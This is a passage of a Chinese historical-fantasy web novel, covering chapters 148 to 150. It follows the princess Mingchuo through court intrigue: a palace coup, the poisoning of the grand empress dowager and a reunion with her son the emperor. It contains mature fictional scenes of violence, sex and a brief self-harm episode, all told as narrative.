“你想抵命?”明绰又笑了一声,觉得他真是荒唐,眼泪已经滚下来,“你算什么东西?就是死一千遍,也抵不上我丈夫的命!”
萧盈站了起来:“东乡!把剑放下!”
他一开口,很多声音都同时响了起来。冯濂之带来的乌兰人全都诡异地保持了沉默,反倒是大雍这边的朝臣们都站起来劝阻长公主。萧秧上前了一步,摁住了她持剑的手:“姑母!”
“秧儿让开。”明绰头也没转,仍旧死死地盯着冯濂之。
“长公主三思!”有个朝臣扬起了声音,明绰根本没去看是谁,“若是杀了来使,大燕陛下追究——”
“那就让他亲自来问我!”
那朝臣一口噎住了,好像才想起来,东乡公主就是大燕陛下的生母。
“多谢贵朝诸位大人。”冯濂之语速稍微提了提,似乎是要抢着在明绰一剑送入他咽喉前把该说的话说完,“宣平门之变是臣之过,大燕陛下会知道原委,绝不会追究——”
他话没说完,萧盈已经走到了明绰身边,轻轻地握住了她的手。若不是萧盈的触碰,她都不知道自己抖得这样厉害。萧盈好像根本没听到冯濂之在说话,只是很轻地叫了她一声:“溦溦。”
明绰转过脸,看着他,强调什么似的:“是他害死了乌兰徵。”
萧盈点了点头。他不知道具体的经过,但是他大概听明白了。他两只手都握上来,想从明绰手中拿走那柄剑:“朕知道。”
明绰的声音带着委屈,像是在跟皇兄告状:“我一手提拔了他,我还把我的儿子交给他……”
“朕知道。”萧盈又说了
一遍,终于把剑拿了下来,“当”地一声,把剑扔在了地上。
明绰还在抖,没了力气,全身的体重都交托在了皇兄身上,萧盈揽着她的肩膀,撑住了她。他的视线扫到了那些乌兰人身上,他们依然保持沉默,萧盈便明白了什么。
“来人,”萧盈下了令,“把使臣拿下。”
桓廊一惊:“陛下!两国交战尚不杀来使啊——”
明绰被萧盈撑着,看着冯濂之颓然地跪在地上,被进门的两个执金吾卫扣住了肩膀,半点都没有反抗的意愿,突然出了声:“皇兄不要杀他。”
萧盈看了她一眼,她挣开萧盈的手,往前了一步,抬起手,拔下冯濂之发冠上的笄,卸下他的冠,手一松,任由那攒了金丝、镶了珠玉的冠滚到了地上,摔变了形。
冯濂之抬起头看着她,喉间仍有鲜血在流淌。
明绰俯身看他:“皇兄,我要把他充作劳役,黥面为奴……”
冯濂之昂起头,第一次露出了绝望的神情:“不!”
他的绝望终于给明绰带来了一丝快意。死太轻易了,死反而是成全,说不定后世还要传唱他们生死相报的知己之情——不,他的命太贱,不足以偿还乌兰徵的血债。
她会抹去他的名字,除去他的衣冠。是她结束了他的奴隶生涯,那么对他最好的惩罚,莫过于此了。
“告诉你们陛下。”明绰直起身,以乌兰语直接对另外几个使臣下令。他们下意识地躬身听令,恍然间仍以为她是萧皇后,大雍鸿胪寺的翻译都是一愣,没跟上长公主在说什么。
“人,我扣下了,有什么话,我会亲自去洛阳回答。”
第148章
水晶帘幕被一只手拨动,碰撞出清脆的响声。虽是白日里,门窗也都糊上了一层遮光的帘,室内没有点足够的蜡烛,昏暗中氤氲着一股浓郁的汤药气味,随着手的主人起身的动作,搅出细微的水声。
“怎么?”段知妘透过帘幕看着恭敬侍立在门外的少年,唇边似笑非笑,“想见你娘了?”
乌兰晔垂着头,一句话也没有说。
十四岁的大燕天子已经长出了挺拔的身姿,和他的父亲几乎一模一样。段知妘有的时候看着他,会忍不住想起她第一次见到乌兰徵的情形。他跟着父亲进雍州,和她谈判,如何联手攻破长安。那时候的乌兰徵应该比纳尔朗现在还大一点儿,两岁,至多三岁……她记不清了。遥远岁月里那个身影已经被眼前的少年覆盖,严丝合缝地重新描摹出脸颊的每一处棱角。
她的凝视太长久,乌兰晔察觉到了什么,轻声说了一句:“大燕的废后,还有什么资格回洛阳?”
不对,眼睛不一样。段知妘看着他,似是终于找到了他与父亲不同的地方。当年的乌兰徵有一双很浅的蓝眼睛,跳动着不可一世的光芒,跃跃欲试着要剑指长安。乌兰晔的眼睛却是黑色的,带着不符合年纪的温驯和忧愁,而那忧愁之下,压抑着太多她无法探明的东西。他母亲的眼睛里很少有这样的神色,可是每每看到他的眼睛,段知妘总会想起萧明绰。
“到底是你的母亲,”段知妘语气和缓,近乎淳淳诱劝,“你就一点儿都不想见她吗?”
乌兰晔咬了咬牙:“她既已抛下朕,又何必再相见?”
沉默。段知妘目光极深地看着他,似是想从他脸上看出一点儿蛛丝马迹。但是他恨得如此情真意切,段知妘找不到一点儿破绽,半晌,只好伸手扶住了额头,似是十分叹惋:“唉,你这孩子……”
他不似作伪,难道说,方千绪的安排,他当真不知道?段知妘的手指掩住了她眼中的怀疑。方千绪命冯濂之出使大雍,就是把他送进萧明绰手里。乌兰晔不知道冯濂之当年的背叛,他就这样回不来了,乌兰晔必然会愤怒不解。萧明绰就等着大燕天子去问责,她便有理由“出使”洛阳——她甚至完全没有掩饰的意思,还没等乌兰晔问责,就直接让使臣传话回来了。
方千绪这条老狗,还是太会算了。
段知妘叹了口气,心里不知道第几次荡出悔意。早该杀了此人。
从迁到洛阳开始,她就开始后悔了。她确实摆脱了那些西海人的钳制,但也被迫远离了雍州。洛阳到处都是萧明绰的影子。无论朝廷如何强调萧明绰起兵谋逆,是大燕的罪人,百姓依然崇敬她。在所有人都以为萧皇后已死的那几个月里,洛阳城中竖起了一尊石像,不敢直接说是谁,欲盖弥彰地编造了一段“洛水娘娘救万民”的故事,无数百姓自发地祭拜祈福。甚至连洛阳宫中的花匠,都会因为太皇太后非要铲掉先皇后喜欢的花,而甘愿以死相抗。
这个时候,她就不能轻易动方千绪了。是因为他的周旋调解,忠于先皇后的洛阳朝臣才肯勉强咽下了宣平门之变的那口气。
本来她也不怕,多给一点时间,她自然都能收拾了。但可恨的是,自从到了洛阳,段知妘就病了。一开始只是关节处突然的刺痛,太医说是风邪痹症,是湿热所致。但越医越严重,她的手肘、膝盖和脚踝全都肿胀僵硬,很快就不能再行走。
她觉得邪门。两年前,太皇太后借机查抄了九位仍旧忠于先皇后的朝臣,从他们家中搜出了巫蛊咒人的证据,贴着段氏名字的小人身上,每个关节处都扎满了针。这九个人全都掉了脑袋,但是太皇太后的风邪痹症始终没有好,严重的时候,就只能像现在这样,被困在寝宫以药浴泡脚。
所以方千绪才会有机会安排冯濂之去建康。
巫蛊案发时,她本来已经认定乌兰晔一定会借机翻脸,甚至已经安排好了段锐刺杀。但他突然收起了杀乙满时的冲动和莽撞,无论段知妘怎么试探,他都没有露出过一丝马脚。在段知妘面前,他把父亲的死全都怪罪于乙满,而乙满的谋逆,根源又在于萧皇后的乱政——段知妘倒是不怀疑他对母亲的仇恨,毕竟这是她亲手在他心里埋下的种子。
但他夜不能寐,枕下藏着匕首的行为还是引起了太皇太后的猜忌。段知妘质问的时候,他便从胸口扯出随身佩戴的玉莲,说兽骨匕首是父皇相赠,而这玉莲是云屏小姑姑的遗物。他不是在戒备什么,他只是……太想他们了。
那天段知妘看着他胸口的玉莲,久久不能言语。方千绪以为是他是靠自己的一番高论打动了太皇太后,但那个段知妘对自己都无法承认的真相,仅仅就是这朵玉莲。
辉儿在天上看着,求她放过纳尔朗。
“不管怎么说,建康羁押使臣,总要讨个说法。”段知妘终于放下了手,熟悉的疼痛突然又袭来
,她极力克制着,似是妥协了,“否……否则我朝颜面何存?”
乌兰晔乖顺道:“都听伊玛戈的。”
段知妘重新躺回了榻上,忍不住呻|吟出声。帘外站着许多伺候的人,却没有一个敢上前。太皇太后疼起来的时候没有任何办法可以缓解,这时候上前,反而要承受她的迁怒。于是整个宫殿都沉寂着,任她一个人躲在帘后,咬着牙承受。
乌兰晔也没有动,他安安静静地站在原地,垂着头,脸上没有任何表情。
好一会儿,帘后的呻|吟才渐渐弱了下去,段知妘喘了两口气,终于道:“你走吧。”
乌兰晔微微颔首,行礼告退。刚走到殿门口,又听到了段知妘在身后叫了他一声:“纳尔朗!”
乌兰晔转过身:“伊玛戈还有什么要吩咐的?”
屋里实在太暗了,帘后的人已经看不清脸,只能听见她的声音,忍耐着疼痛,低声问他:“我放过了你一次,以后你……你会不会,也放过我?”
在她看不见的地方,乌兰晔的眼皮突然不受控制似的颤动了一下,无限深重的情绪在他眼中掀起滔天巨浪,但只是一瞬,又重归平静。
“伊玛戈不要胡思乱想,好好保重身体,”他声音平静,当真像一个孝顺的孙儿,“朕明日再来看你。”
他转过身,克制着步速,从太皇太后的寝宫离开。没有人跟着他,他很快就越走越急,几乎是用小跑的,一路走进了重华殿,转身迅速关上了所有的门。
这里不是他的寝宫,他住在永宁殿,是明绰当年为他准备的,可是她从来没有亲眼见到他搬进来。重华殿已经没有多少父母居住时的痕迹了,就是父皇还活着的时候,他们也已经离开了两年。案上的笔早就毫毛奓开,不能用了,可是他在笔杆上面发现了两个隐隐的齿痕。母后想事情的时候,总会不自觉地咬一咬。所以他一直留着,怎么都不肯扔。
乌兰晔靠在扣紧的门上,颤抖着,从腰间取下了他随身带的兽骨匕首,咬在嘴里,然后解开了束袖,把右手的袖子捋了上去。
他的疤还在,比任何时候都狰狞恐怖,紫红的凸起像一条虫,趴在他的手臂上。那层层叠叠的伤痕,看起来已经分不清到底是新的还是旧的。乌兰晔左手握住父亲留给他的匕首,深吸了一口气,用匕首尖轻轻地刺破了皮肤,血立刻涌出来,他喉咙里溢出一丝痛呼,但被牙关嚼碎了。左手很稳,熟练而精准地沿着那道疤往下滑,重新划开了母亲留给他的那道疤。
“娘……”他颤抖着,看着自己鲜血直流的手臂,感受着痛苦一遍遍冲刷他整个身体,而只有这个时候,他才能放纵自己唤她,“娘……”
明绰发出一声长吟,似是饱含着极大的痛苦,浑身颤抖着,紧紧抱住了身上的人。袁綦也停下来,力竭地伏倒在她身上。明绰摸到他背上一层黏腻的汗,袁綦喘了两口,俯身吻了吻她的锁骨。她的手往上抬,轻轻地抚了抚他的后脑,然后袁綦从她身上翻了下来,躺在了她的身侧。
没有人说话。他们都还喘得很厉害,袁綦的手从她胸口往下,抹开她胸下积的一小把汗,抚过她仍在剧烈起伏的腹部,然后停住了。
明绰低头看了看他的手,然后转过脸,看见袁綦看着她的眼睛。
“阿嫂说……”袁綦起了个头。明绰等着,但他又没有说下去。明绰已经知道了桓宜华跟他说过了什么,轻轻地别过了头:“要是真怀上了,哪经得起你这样弄我。”
袁綦便沉默着收回了手。他真的太用力了,直到现在她还觉得身体深处被顶撞得一跳一跳地疼,明绰就自己把手搭到了小腹上。刚才攀至顶峰的时候,她有一刹那的失神,耳朵里嗡嗡作响,好像隐隐地听见了一声呼唤。没有听清楚唤的是什么,但总觉得那是她的孩子。她心里有种古怪的滋味,难道这一次她会怀上袁綦的孩子吗?这是某种预兆吗?
袁綦不知道她在想什么,已经起了身,站在床边,沉默地穿衣。明绰也从床上坐起来,突然问了一句:“若是我们有了孩子,你会原谅我么?”
袁綦的动作一滞,低下头,看着她。但是房里太暗了,明绰看不清他的表情。
“别走。”明绰对他说,分不清是一句命令,还是恳求。
袁綦无声重新坐回了床边,明绰伸出手,从背后拥住了他。袁綦的手伸出来,轻轻地抚摸着明绰绕在他颈上的手臂。她的身体已经没那么热了,贴在他背后,随着呼吸微微发颤。
“陛下准你回洛阳了吗?”他问。
明绰贴在他背上点了点头。
鸿胪寺的翻译已经把明绰当时用乌兰语下的令解释给萧盈听过了,他意识到了明绰在做什么。他当然不希望明绰去洛阳,可是他也没有阻止使者们把她的原话传回乌兰晔耳中。
萧盈单独见了冯濂之一面,细询宣平门之变的始末。冯濂之没有隐瞒,坦白之后,便向大雍皇帝求死,不愿受黥面之辱。萧盈将人暂时扣押,又把明绰召进了含清宫。
含清宫里摞满了参长公主的奏疏。
她当庭剑指来使,破坏两国邦交,三台重臣都纷纷上奏弹劾长公主藐视国法。自从明绰与袁綦成婚以来,已是很久没有受到这么密集猛烈的攻讦了。但这次,连袁增都只能保持沉默。
他们都不在乎明绰为什么会气急到当庭发作,可是萧盈在乎。他在乎她拿着剑手都在抖的痛,在乎她转过脸来,告诉他就是这个人害死了乌兰徵时的委屈。她用那样的眼神看着他的时候萧盈就知道他没有办法了,所以到最后他也没有要明绰说什么,只道,等乌兰晔来信,他就安排送她去洛阳。
兵马是一定要带的——萧盈抬起手制止了明绰当时要说的话,他才不管乌兰晔会怎么想。都羁押来使了,两朝的关系还不够岌岌可危吗?只要段氏还在,他就得护着明绰。
于是明绰也不再反驳什么,半晌,含着泪道了声谢。
她要走的时候,萧盈把陈缙的上奏抽出来,递给了她。明绰展开看了一眼,发现陈缙不只参她藐视国法,还添了一条擅政的大罪,指责她插手立嗣。明绰就明白萧盈是什么意思了。
他现在没病着,看起来再撑个三年五年的应该不是问题,就不拿自己大限将至的话来挟制她了,反过来用秧儿来提醒她,去洛阳可以,但得回来。
明绰轻轻地偏过脸,把涌出来的眼泪蹭在了袁綦刚穿上的一层单衣上。他感觉到了,转回了身,把她抱进怀中。明绰的眼泪停不下来,却一个字也说不出。她才答应了秧儿,会替他和母亲筹谋……可是,晔儿才是她的骨肉啊。
她不说,袁綦便也没有问,只是低下头,很轻地在她眼睛上吻了吻,尝到了一片咸涩。这是他们之间极少的时刻,他忘记了恨她。明绰依恋地环住他的脖子,微微仰起脸,吻了吻他的唇。袁綦回应着加深这个吻,不自觉地又把她压到床上。
“仲宁……”她贴在他的唇畔,感受到了他比刚才轻了很多的动作,突然道,“跟我一起去洛阳。”
第149章
夜风猎猎,把“燕”字旗吹得高高扬起。军队临时驻扎,营帐沿着河两岸延绵出去,一眼看不到尽头。主帅帐前的卫兵站在岗哨处,手中高举的斧钺在月光下泛出一丝森寒的冷意。
这里已近项城,再往东,就是大雍的边境。东乡公主带了兵马,洛阳亦派出了羽林军。按照约定,他们会在边境处交接。
脚步声突然从身后传来,卫兵转过头去,只见石简手中提了两壶酒,正晃晃悠悠地走过来。
“石督将。”亲卫尽职尽责地把人拦住,但石简似是醉得厉害,嘴里嘟嘟囔囔的,一条手臂已经揽到了这亲卫肩上。亲卫也不好对他太无礼,两个人都过来想把他扶住。石简还犯起浑来,声音提起来,非要拉他们一起喝酒。
没几句,主帅营帐门口的门帘被掀了起来。石简看
着段锐露出来的一张脸,突然“嘿嘿”一笑:“段兄?”
他把手里的酒壶举起来,朝他晃了晃。
照理,军中不能饮酒。但这毕竟不是正经交战的时候,段锐自己也是个嗜酒如命的,看了他一眼,便抬起手,让两个亲卫退下了。
石简跟在段锐身后走进帐中,段锐看他连路都走不直,便笑了一声,随手拿了两个小碗,招呼他坐下来。石简仍是笑着,把酒满上,两人都端起来,也不及说什么,先“呵呵”乐着,碰了一杯。
石简曾是洛阳羽林军的统帅,但自太皇太后迁都以来,羽林军已完全被段锐接管。不过石简屡易其主,从来不是个特别有气节的人。宣平门之变后,洛阳与长安的一度剑拔弩张,是他手握重兵稳住了局势,没有让大燕从内部乱起来,以此争取到了在太皇太后面前的生路。虽为后党,太皇太后也没有杀他,只是将他降为羽林军督将。段锐与他同袍几年,关系竟然也还处得不错。
“这回大雍那边带兵的还是袁綦。”段锐几碗酒下肚,便斜着眼很调侃地睨石简,“老石,你与他可是老相识了。”
石简便啐了一口:“什么老相识!”
段锐大笑一声,伸手搭住了他的肩,似是为他惋惜,叹了口气又道:“当年袁綦劝降,你就该跟着他去大雍……现在,也是个万户侯了不是?”
“胡说八道!”石简用手肘把他一推,已经有些大舌头了,“我……对陛下,对大燕……的忠心!日月可昭!”
段锐还是笑,摆了摆手:“私下饮酒,不必讲这样的场面话。老石,你跟我说实话……”
他无声地凑近,眼睛看定石简,手又搭到他颈后,控住了他的头,强迫他看着自己:“真没后悔过?”
石简似是想动,但是段锐手上用劲,没让他动。石简醉得真是不轻了,眼睛迷蒙着,反应不过来,好一会儿才笑了一声:“悔……什么?”
“萧氏还活着。”段锐拍了拍他的脸,觉得好笑,“如今照样是建康的长公主……你若跟着她走了,哪会落得如今这个地步?”
石简被他摁着后颈,低着头,好一会儿,好像听明白了,很慢地“哦”了一声。
“不后悔。”他很低地回了一句,竟听不出几分醉意了。
段锐大笑:“嘴硬!”
石简也笑,抬头看着他:“太皇太后失势之时,段兄不也是一样卧薪尝胆吗?”
段锐被他的语气震了一下,突然感到一股寒意像蛇一样从背后直蹿上来。他反应已经算得上快,当即便要转身去取他的刀。但是石简从腰间摸出来一把匕首,动作又稳又准,“唰”的一声把他的手钉在了桌上。
段锐“啊”地一声,爆发出一声惨叫。但门外的亲卫一点儿动静也没有,唯有石简不紧不慢地端起碗,把剩的那一点儿酒喝下去了。他的手极稳,一点儿没有醉酒的样子了。
“段兄,”石简朝他笑了,露出一口森然的牙,“各为其主,小弟也是皇命在身,无关你我私交……”
“皇命——?!”然而段锐的话被摔碗的声音打断了。帐外立刻响起了游蛇般簌簌的声音,不知道有多少人正迅速地穿行,在夜色的遮掩下举起屠刀。段锐冷汗直下,伸手想去拔起钉住自己的匕首,石简动作比他快得多,手一伸,已经把他的佩刀捞在手中。
“我留在洛阳,为的就是今日。”石简一句话说完,站了起来,动作利落地一刀划开了段锐的脖子。段锐一下子睁大了眼睛,还想说什么,但是飞快涌出的血堵住了他的气管,他只能发出“咯咯”的声音。人还没死,瞪着眼睛看着石简,听见他说,“陛下孝顺,想着萧皇后见着你,一定不会高兴,还是我去接吧……”
话还没说完,段锐已经颓然地趴到了桌上,血喷溅一般涌出来,他的身体抽了两下,不动了。
石简躲了躲,没让太多的血溅到自己身上,然后才伸手,拔起了钉住段锐手掌的匕首,在衣摆上擦了擦,看也没看段锐的尸体,大踏步走出了他的营帐。
年轻人脚步匆匆,险些被尚书台的衙署门槛绊一跤,虽然稳住了身形,但官帽已是歪了,他也顾不得扶,正要发足狂奔,只听身后传来了一个熟悉的声音,叫住了他:“令君。”
段仪回过头,看见方千绪正朝他笑:“令君要去哪儿啊?”
他支吾了一声,手里攥着一张小小的纸条,竟未敢答,红着脸,叫了一声“左公”。
段仪是段知妘的亲侄儿,当年父亲战死的时候,他还在母亲腹中。这些年一直长在雍州,从未出仕。直到太皇太后迁至洛阳,才将他也带上。萧典一死,太皇太后便让三十岁都不到的段仪接任了尚书令。
照说,他的官位是要比方千绪大的,但是谁才是尚书台真正的主人,所有人心里都有数。
方千绪的眼睛一扫,已经看到了他手中的字条。他伸出了手,想把卷得皱巴巴的纸拿过来。段仪憋红了脸,攥紧了就是不肯,方千绪一句话也没有,动作却完全不容抗拒,硬是掰开了他的手指抢了过来。
他只扫了一眼,便恍然地“啊”了一声。项城急报,羽林军哗变,段锐已死。
方千绪笑了笑,好像没觉得这是什么大事:“令君这是急着去告诉太皇太后吗?”
段仪额上冷汗潸然,捏紧了拳头,突然道:“去项城才多少人?石简哗变有什么用?大军仍在洛阳,只要姑母一声令下……”
“自然。”方千绪垂下眼,小心地叠起了密报,一点儿没有要还给段仪的意思,“事关重大,正好我要去给太皇太后献药,便由我去说吧。”
段仪涨红的脸一下子失了血色,色厉内荏地扬起声音:“我才是尚书令!你想干什么?来人——”
方千绪默然不语地看着他,段仪舔了舔干燥的嘴唇,当机立断,转身就想跑。他不跑还好,一动,便听见无数盔甲碰撞的声音,拓莫也哲带着兵,一脚踹开了尚书台的大门。
“左公!”拓莫也哲朝方千绪行了个礼。他手下的兵也不多,看起来连五十个人都没有,但全副武装,训练有素,潮水般涌进来,瞬间就控制了整个尚书台。
“这里交给将军。”方千绪一句废话都没有,“羽林军若有异动……”他一边往外走,一边朝段仪那个方向歪了歪头。
拓莫也哲会意:“末将明白!”
方千绪再不耽搁,头也不回地大步走了出去。
几个内侍低着头跟在了左仆射身后,为首的端了一盅汤药,跟着一起停在了太皇太后的寝宫前。
宫门前两队排开,站着十来个带刀的羽林军,个个都是当年雍州军亲信。方千绪在离他们还有五十步的地方就停了下来,无声地在袖子下面朝一个内侍招了招手。那内侍马上从袖中掏出了什么东西,递到了方千绪手中。
那是女子上妆用的口脂,薄薄一片,红得像新鲜泼上去的血。方千绪放到鼻下轻轻嗅了嗅,然后小心地贴上了自己的嘴唇。他看起来像是给自己上妆,但不像普通女子一样把口脂抿在唇间,而是贴上来,只触了上唇靠外的一圈。那脂纸看着红,却没什么颜色,方千绪却满意了似的,把脂纸叠了叠,又掩在袖中,还给了那内侍。然后他亲手端了那盅汤药,往太皇太后的寝宫里走去。
门口的羽林军照例拦了一下,掀开了那盅汤,马上被里面的腥气熏得皱了皱鼻子。但他看了看方千绪,终究又没说什么,挥手放行了。左仆射大人当年出家时曾修医道,太皇太后早年就信任他看过病。前阵子太皇太后关节发病,疼痛难行,本来是召了方千绪入宫,本是要他的命的,但他做了一件太医们都不敢做的事,拿出刀来给太皇太后的肿胀的脚踝放了血,居然当真缓解了段知妘的剧痛。
太皇太后又留下了他的命,让他来奉汤药。
方千绪端着盅进去,段知妘已在相候。身边的侍女也没有过来接药的,任由方千绪走近,为太皇太后
掀开了盅盖。
段知妘马上也一捂鼻子:“这是什么?”
“鹿血。”方千绪低着头,“陛下忧心太皇太后的身体,亲自去猎来的鹿。臣以鹿血入药,必能解太皇太后之苦。”
段知妘抬头看了他一眼,似是不信:“痹症乃阴虚火旺,鹿血大补,对症吗?”
“太皇太后有所不知,”方千绪不紧不慢地回道,“痹症发作时,潮热盗汗,舌红少苔,脉细数,是为阴虚火旺。但如今疼痛已缓,太皇太后畏寒乏力,神疲重困,便是阳虚,鹿血正对症。”
段知妘并不说话,仍是冷冷地看着他,似是要用眼神在他脸上凿出两个洞来。半晌,下巴朝那盅一点,身边的宫人会意,立刻拿出银针,在混了鹿血的汤药里试了试,见银针没有变色,才交给了段知妘。但段知妘仍是不放心,又抬起眼睛,看了方千绪一眼。方千绪会意,上前两只手端了起来,自己先喝了一口。
汤药触到了他的唇,鹿血在他唇上留下了鲜红的一片印,方千绪抬起袖子,小心地抹了抹,这才跪在地上,一言不发地等着太皇太后下一步的指令。
段知妘垂着眼睛看了看他,又等了半刻,见他无事,这才“嗯”了一声,允许身边的宫人奉上了汤。鹿血的味道实在恶心,段知妘皱了皱鼻子,强压着不适,一口喝了个干净。汤底露出些许药渣来,都是平常吃惯的白术、独活之类的,段知妘扫了一眼,让人端下去了。
“难为陛下有孝心。”段知妘笑了笑,“他不去接他母亲,倒去为我猎鹿。”
方千绪还是跪在地上,低着头,一句话也没说。
段知妘扫了他一眼,又道:“算算日子,项城那边应该已经接到人了吧?”
方千绪低下头:“是。”
段知妘又看了他一会儿,终于摆了摆手:“你走吧,本宫乏了,要歇一会儿。”
方千绪便站起来,恭敬地低着头,退出了段知妘的寝宫。
几个内侍已在外面相候,跟在方千绪身后,一路走到了那些羽林军看不见的地方,方才那个奉上口脂的就马上掏出一个玉瓶,一边往外抖药丸,一边声音都在发颤:“方大人……快……”
但是方千绪摇了摇手,示意不必了。他刚要说话,喉间便泛上来一股腥甜,方千绪膝下一软,“哇”地一声,吐出了一大口血。几个内侍吓得不知所以,有人忙推着另一个:“快去通知陛下!”
“不必……”方千绪拽住他,仍在一口一口地往外吐血,但唇边却是掩饰不住的快意笑容,好不容易停了,他发着颤,用袖子抹了抹唇下已经脏污的一片胡须,喘着气,又说了一遍,“不必了。”
下在药里的那一味本身不是毒,银针验不出来,但是配上口脂上沾染的血朱藤汁液,便是剧毒。平日里下得少,他自己配了解毒的药丸,尚可压制一二。但今天药量重,段知妘必能闻出不对,才不得不以鹿血遮掩。
她活不成了。方千绪绝不会允许段知妘还活着,再见到长公主。
方千绪还在笑,唇下虽抹干净了,齿间却还有血迹,笑起来十分瘆人,道:“别告诉陛下……我没事……”
他强撑着,站了起来,转过身,朝着太皇太后的寝宫又投去了最后一瞥。
一个同样是羽林军打扮的小卒脚步飞快地穿过皇城的重重高墙,被拦在了后宫的内门外。他很懂规矩地递上了口信,便退了一步,站到了门边。值守的宫禁侍卫接过他的口令,快步地继续往内宫里传,先去了永宁殿,然后陛下下了旨,又派宫人去太皇太后的殿中通报。
段知妘躺在帘后的榻上,喉中已被呕出来的血完全糊住。她浑身都在抽搐,极力地想发出声音,可是没有人敢进来帮她。只有模模糊糊的人影跑进来,她们在说话。恍然间,段知妘又听见了察察的声音——她忘记了,察察早就在很久以前,就被乌兰徵处死了。但是那就是察察的声音,她说,大雍的东乡公主到了。
段知妘最后喘了一口气,手伸出来,似是想拉住二十年前的自己,她从这具苍老而又不堪的躯壳里轻快地跳了出来,而段知妘只能眼睁睁地看着她,满面笑容地,去迎接她为大燕求娶的公主。
第150章
明绰满脸焦躁地坐下来,石简刚把茶奉上,她好像没看见,又站了起来,也不知道能去哪儿,只原地打转。石简那茶就没放下,端在手里,看着她转。
明绰回过头:“还不能进城吗?”
石简只道:“皇后再等等。”
明绰便只好压下性子,没别的话了,寻摸出来一句,小声道:“别这么叫我了。”
大燕现在没有皇后,她是天子的生母,却没被封为太后,名不正言不顺。石简是燕臣,叫她长公主也怪怪的。所以他也不知道怎么称呼,只好半尴不尬地干笑一声,看了看旁边的袁綦,然后又赶紧挪开了视线。
上次见面,两人还在阵前相对,没想到再相见会是这个身份。石简也听说了萧皇后在南朝改嫁一事,当时觉着她这辈子不会再回洛阳了,也就接受了。毕竟皇后还年轻,也还是要有个归宿的。
可是眼下旧主回来了,石简就要琢磨了。陛下早不动手晚不动手,趁这个节骨眼把段氏收拾了,看来是准备迎接母亲回洛阳了。那她要是封了太后,袁将军怎么办呢?也留在洛阳,还是自己回建康去?袁綦这样的猛将,南朝总不能轻易就让他来洛阳做官吧?就算南朝肯放,陛下给他封个什么才合适?太后改嫁也没先例啊,难道大燕天子来了,还要认袁将军做父亲?这可太折辱先王了!
陛下就给他一道密旨,让他路上杀了段锐,去迎接母亲,别的什么都没说。从项城回来三天的路,石简就琢磨了三天,琢磨得白头发都多了好几撮。
明绰不知道他脑子里转的都是些什么,又道:“石简!”
石简马上站直:“臣在!”
“大雍的兵马也交给你,你带着进城……”
袁綦本来跟一尊木雕似的,听见这话便抬起了头。这回出使,陛下给了他点颜面,一并封了他驸马都尉、使持节和奉车都尉,让他沿途护送。大雍的兵马,严格来说是他说了算。但是还没等他发话,石简已经拒绝了:“臣奉陛下旨意,在此地相候。陛下会来接皇……呃,长公主的。”
明绰就只能又在原地转了一个圈。乌兰晔让石简传话,说他会先把洛阳“清理干净”,不会脏了母亲的眼。明绰也不知道他要怎么清理,难道要和当时对付乙满一样,出其不意地暗杀?抄家?可是同样的把戏,段知妘不会防备吗?她这几年在洛阳可也没闲着,上上下下都是她的人,若是有个万一……
明绰只觉得五内俱焚。她没有要求晔儿这样做,她费尽心思、千里迢迢地来了,就是来帮晔儿的。他还是个孩子,应该是为人父母的,挡在他面前的呀。
她偏过脸,眼泪又不受控制地往下落。石简正想安慰两句,袁綦先上前抓了她的手,轻声道:“别急。”
明绰抬头看了他一眼,强忍着点了点头,可是眼泪停不下来。袁綦便抬起手在她脸上拂了一下,为她擦泪。
石简立马浑身不自在起来,觉得他站这儿看着都是对不起先王,鼻子不是鼻子眼睛不是眼睛地想往外走。
刚掀开帘帐,便听见了一阵急促的马蹄声。
明绰立刻甩开袁綦,整个人像离弦的箭一样奔出了营帐。对面是一支同样高举着“燕”字旗的羽林军队伍,约莫两百来个人,马蹄踏出了“隆隆”的动静。为首的是一个少年,一身银甲,极为醒目,转眼便一阵风似的刮到了营前。沿途所有将士们就像被割下的稻禾,齐刷刷地跪下,山呼万岁。
明绰反而不动了,站在那里,看着少年天子长腿一迈,轻捷地从马上跳了下来。他跑得好快,明绰只觉得一口气吸进去,还没呼出来,他就已经奔到了眼前。他怎么会已经长得这么高了?明绰张开嘴想唤一唤他,却发不出声音。还是乌兰晔抓着她的手,贴到了自己脸上。
“母后。”他叫了一声,不太响,还笑了。明绰的手贴在他颊上,感觉到他跑得满脸都是热汗,另一只手便也伸上来,摸到他的脸。她想说话,但是喉间只有哽咽,明绰不得不狠狠地做了两个深呼吸,才控制住了抱住他嚎啕大哭的冲动。
乌兰晔看起来也有些尴尬,不知道该说什么好,又或者,只要一开口,他就要忍不住哭了。母子两个无言地望了望,明绰点了点头,突然转过身,又回了营帐里。
乌兰晔有些茫然,转过头看了看跪在地上的石简。旁边还有一个瘦削英俊的男人,穿着大雍将领的甲,乌兰晔意识到了这是谁,脸上便闪过了一丝阴影。他想了想,什么也没说,跟着母亲进了营帐。
明绰在哭,肩膀颤动,背对着人,极力压抑着。乌兰晔上前两步,跪在了她膝前,又叫了一声:“母后……”
明绰转过脸来看着他,整张脸都是泪痕。乌兰晔突然想起七岁那年,他记忆里第一次看见母亲的样子,那时候她也在哭,可她还是他
所见过的最美的女人,那种美丽甚至让他觉得害怕。
乌兰晔今天才刚刚下令,把太皇太后的党羽全都捉拿入狱,段知妘的侄子和原来雍州军的几个骨干将领不等治罪全部处死,他还亲自去了羽林军大营稳住了局势。这是比杀了乙满更让他觉得痛快的时刻,他终于大权在握,没有任何人能够挡在他身前了——可是到了母亲这里,他又觉得自己还是个做错了事的孩子。
是当初的那封信吗?还是他这几年的不闻不问?母亲是在怪他吗?
“娘,”乌兰晔改了口,眼泪也在往下掉,替自己申辩什么似的,“我给父皇报仇了……”
明绰没让他把话说完,突然把他拥进了怀里。她抱得好紧,就像那年他躲在小姑姑停棺的地方,母后找过来,也是这样紧紧地抱着他。那时明绰用点力气,还能把他抱起来,抱回长秋殿。但现在他已经跟她一样高了。明绰意识到这个就觉得心如刀绞,他怎么长得这么快,一点都不等等她。
乌兰晔扑在她怀中,也是紧紧咬着牙,才没有放声大哭。他的手轻轻地环上去,安慰似的拍了拍母亲的背,反而是这个动作让明绰更加觉得心痛难忍,乌兰晔只好小声宽慰了几句,好一会儿,才感到母亲稍微平复下来几分。
“娘,”他从明绰怀中稍稍挣脱出来,看定了母亲的眼睛,“你得赶快去见一个人。”
左仆射的宅子还是当年萧皇后在时恩赐的,因他出身佛门,里面还跟寺庙一样,在院子的正中心修了一尊佛塔。整个宅子也是处处佛光,连檐上的瓦都雕了莲花,但明绰根本无心看任何东西,一路用跑的,飞快地闯进了主人家的卧房。
